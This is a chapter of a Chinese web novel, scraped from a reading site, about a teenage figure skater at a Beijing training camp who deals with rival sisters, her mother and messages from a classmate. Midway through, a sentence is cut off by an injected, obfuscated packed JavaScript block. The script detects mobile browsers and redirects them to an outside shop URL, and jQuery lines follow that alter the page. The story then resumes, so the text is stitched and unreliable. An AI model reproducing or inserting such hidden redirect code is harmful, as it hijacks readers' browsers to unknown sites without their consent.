默认冷灰
24号文字
方正启体

23. 第 23 章

作者:小池有鱼本书字数:K更新时间:
    十一月中旬,北京。


    余穗训练前洗的毛巾早干了,她重新打湿了往脸上一罩,瞬间冻得她一哆嗦,她任由自己放空了一会,直到闹钟响起,才掀了毛巾去把脸洗干净。


    斯韦特兰娜的训练营果然不是说着玩的,一天下来余穗像被人拿擀面杖碾了一遍,一张脸红是红白是白,汗珠子止不住地往外冒。


    她对着镜子看了几眼,突然发现身后有人在凝视她。


    是两个同样参加训练营的女孩,她暂时还不能将她们的名字和脸对应起来,便微笑着朝她们点点头。


    这俩人却认识她,大一点的张嘴便问:“余穗,听说你能跳四周了?今天训练的时候怎么不跳?”


    小的也说:“对啊,还以为你会跳给斯威特教练看。”


    余穗还是想不起来她们的姓名,只好礼貌地笑笑:“昨天刚下飞机,人挺累的。”


    而且训练计划里今天也没有跳跃课。


    “怪不得,”大的说,“你看起来要累瘫了。”


    “明天能跳吗?”小的问。


    余穗终于想起来了,大的叫卞琳,小的叫卞苪,是对姐妹。她们第一次见面是八月的俱乐部联赛,但她那时候精神状态不好,没记住她们。


    如果没记错,在她比国际赛的时候,卞琳在俱乐部联赛总决赛拿了银牌,金牌是齐慧。


    “想看你跳。”卞琳说,“你泰国站咋不赌个大的上四周,说不定你就能去总决赛了,毕竟两个名额都给了你,网上都在说这事,你知不知道啊。”


    赌俩3A已经够大了,再上个根本站不住的四周说不定得被协会打进冷宫。


    “不知道,”余穗低头去拎训练包,“但我知道你们俩没啥礼貌。”


    卞琳吸了一口气:“干嘛像点了火药,我就问问而已啊?”


    “喔,要看自己学,学会了跳百八十个都没人管你的,”余穗笑笑,把单肩包挎肩上,“让一让,我要走了。”


    卞苪眼睛慢慢地睁大了,看着余穗的身影消失在走廊里,她忍不住说:“姐,你看她说的什么话嘛!”


    是她们不想跳吗?是她们不会好吧,但经过她们反复观察,余穗这个四周也就3.5周,或许多摔摔她们也能练出来。


    但摔冰上可疼可疼了。


    卞琳撇撇嘴:“你看她连个准话也不给,那个4Lz多半是蒙的,也不怕崴到脚,我们国家待遇本来就差,她就算上了国际赛也认不了吧。”


    话音未落,余穗从拐角探出个头:“嘿!有空在这里作法,不如把工夫用到世青赛上,祝我世青赛能拿好名次,明年给你们拿名额呢!”


    她大声喊完,缩回去吃吃笑了一声,又忍不住皱皱鼻子。


    这个冰场主要用做冰球训练,淡淡脚臭汗臭无处不在,皮革的休息椅上带着冰场经年的潮湿。从更衣室走出去,长长的走廊铺着胶皮,踩上去嘎吱嘎吱响。


    她推开冰场厚重的玻璃门,干燥清爽的空气瞬间裹住了她,天是无边浩荡的蓝,银杏叶打着旋儿往下飘,满北京都是浓郁的秋意。


    她抬手拍了张照片,给余宏哲发一张,给周柠萌发一张,想了想,给江准也发了一张。


    江准竟然是最快回复的。


    “这边天气还很热。”


    余穗从鼻腔里发出点气音:“我当然知道,我前天还在粤市呢。”


    江准问:“北京怎么样?”


    “天气很好,”余穗说,“但没来得及逛,训练很累,但教练人不错。”


    她想起刚遇见的两个人,犹豫了一会,地铁进站,下班的人潮把她裹挟进列车里,她就像风浪里的小舟起起伏伏,根本抬不起手,也够不着吊环,只好用指甲扣着铁柱子。


    此时的她无比地想念姚叔。


    两站后,余穗走出地铁站,向漪订的酒店就在几百米外,如果没有意外,她推开门就能见到向漪。


    红灯闪烁,由红变绿,人潮淌上斑马线,沸腾的人声遮盖住耳机里的歌声,身边行人匆匆,各自为生活烦恼,余穗摘下耳机,人声变得更加清晰,有一个声音在叫她。


    “穗!余-穗!”


    余穗循声望去,塔季扬娜站在红绿灯牌下,闪烁的霓虹灯在她脸上晃动,见余穗走过来,嘴角露出点笑,又很快抿直了。


    “hello,”余穗说,“啥事?”


    “`*isnov&-_$%%${¥}|*.


    余穗嘴角微微一抽,从善如流地拿出手机。


    从拥挤的地下出来后终于恢复了信号的手机蹦出一大串信息,手机屏幕还停留在和江准的聊天界面。


    江准让她好好休息,过了几分钟又给她发了几张照片,说是今晚的任务。


    又过了一会,发来一个不知道哪里找的摸摸头表情包。


    余穗不想理他,塔季扬娜倒是不见外地凑过来看几眼,可惜她看不懂。


    余穗终于找到翻译软件。


    塔季扬娜问的是:“导航让我换乘,走了好长的路,看到楼梯就爬上来了,不知道怎么去训练馆。”


    余穗抬头望望近在咫尺的酒店,又望望面露迷茫的塔季扬娜,热情一下子就上来了:“我带你回去!”


    …


    余穗深吸一口气,推开酒店房门。


    她直直对上向漪的脸,向漪正站在穿衣镜前穿衣服。


    两人沉默对视片刻,余穗低头从她身边溜过,说:“我回来了。”


    向漪把外套脱下来挂衣架上,淡淡道:“怎么回来这么晚,下回我接送你吧。”


    才不要。


    “和塔季扬娜交流了一下。”


    带路怎么不算交流呢。


    “嗯,”向漪脸色和缓不少,心想这个训练营确实有用,“她技术很好,多向她学习,要不是不让家长旁观,妈妈也想去学学。”


    塔季扬娜技术确实好,但比她还要路痴。


    晚餐没人说话,余穗扒拉了几口饭就钻进房间里,向漪嘴巴开开合合,最终忍了回去。


    余穗和齐慧打了会游戏,齐慧问她:“训练营咋样,累吗?”


    累,斯韦特兰娜就像个机器人根本不会累,一天下来余穗在冰上得待六七个小时。


    但余穗滴水不漏,只是笑笑:“还好,你啥时候能过来啊?”


    一个人听不懂英文也听不懂俄语真是寂寞如海。


    训练营的参加要求是五个三周全,会低级三三连跳,花滑考级十级水平,满足这个条件的国内选手不超过三十个,况且两周半的学费要七八万,选手的钱不是大风刮来的,自然选择花在更需要的地方。


    所以这次训练营只来了十几个人。齐慧和陆定骁也报了名,可偏偏这几天正好赶上分班考试,学校规定不参加考试的一律打进差班,两人无奈只能推迟几天入营,平白亏了将近一万块。


    “明天早上最后一科考完立刻去,”齐慧的心在滴血,“说实话,我的成绩还不错,所以考试对我来说挺重要的,但不晓得陆定骁为啥也要跟着凑热闹,他考不考不都一个样。”


    “骁哥说他这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492751|202315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段时间天天头悬梁锥刺股呢,”余穗说,“他让你别小看他。”


    齐慧闷声笑了好一阵,才说行,等出成绩自然见真章,她还要说什么,忽然又止住,说:“我妈回家了,我学习去了,明天见请你喝豆汁儿焦圈哈。”


    余穗没来得及回答,齐慧就匆匆退了游戏,只剩下微信消息一个个从界面蹦出来。


    江准:“数学最后选择填空和大题最后一道可以不写,你应该不会。”


    江准:“物理打勾的可以不写,你不会。”


    江准:“化学也是。”


    余穗愤愤按灭手机,心想就算是事实,也没必要全点出来吧。


    手机罔顾人意地亮了。


    江准:“回来再给你讲。”


    江准:“金子今天吃了好几顿。”


    余穗盯着屏幕看了几秒,揣测江准的用意,谨慎地回:“好的,谢谢你。”


    随即转头从冰箱里拿冰袋敷脚,洗澡,躺床上打开英语书,背完abandon后,两眼一闭,昏睡过去。


    …


    早上七点二十分,余穗一手拎包,一手拉拖箱,穿了件皱巴巴的厚外套,准点在冰场门口与陆定骁相遇。


    相比余穗的萎靡,尚未受过磋磨的陆定骁很是精神,深秋早晨的北京只有七八度,陆定骁只穿一件防风外套,里边套了件训练服。


    “早。”他笑眯眯地帮余穗拉开门。


    余穗晕乎乎地道谢,几秒钟后猝然反应过来,一把扒拉开遮挡视线的头发:“不是…咦,你不用考试吗?”


    陆定骁露出一言难尽的神情,最终郑重其事道:“我仔细想了想,还是觉得几千块的训练费比较重要。”


    此理由听着冠冕堂皇,但在第二天被齐慧毫不留情地戳穿。真正的原因意料之中,第二天考完英语,陆定骁心里就门儿清了,高中剩下的两年半,他必定要在差班不挪窝了。


    “68分的英语,我随便踩一脚都比这高分。”齐慧一边压腿一边笑,“68分,陆定骁,你还是去过五次国际赛的人呢。”


    卞苪跳绳四摇再次失败,忍不住说:“我上学期末考了110分!”


    余穗真情夸赞:“好棒的英语。”


    卞苪继续说:“姐姐考了九十六分!虽然比我少,但比骁哥高。”


    卞琳给了她一个白眼:“你初一,我初三了,难度能一样吗?”


    但显然她对该成绩很满意,转头问余穗:“你呢?”


    余穗助跑几步,肌肉发力,蹦了个陆地3A,随后又跳了陆地四周,才摘下耳机:“你说什么?”


    卞琳撇过头去:“…没什么。”


    “哦,”余穗笑笑,“我英语不太好,上期末有一百来分吧。”


    实则不然,英语是她最好的一门,物理和化学两门的分还没一门英语高。


    但英语成绩好,并不妨碍她听不懂斯韦特兰娜的俄式英语,舌头卷在嘴里,噜噜嘚嘚地弹。


    “…”她转过头,无助地问翻译姐姐,“教练的话好多…她在说什么?”


    翻译姐姐沉默半晌,擦擦额头不存在的冷汗,冰刀在冰面上不安地滑动。


    “她说你这个轴就像柳枝在空中舞动四肢,收紧的时候腿像恶心的叉子…不知道你是怎么能落冰的…落冰一点也不会用膝盖,没过多久膝盖就会像玻璃一样碎掉,然后再打进几颗金属钉子…不知道你怎么能练出四辣子,周数居然还挺好来着。”


    陆定骁从旁边滑过,真诚地感慨:“简直就是土法炼钢的奇迹。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)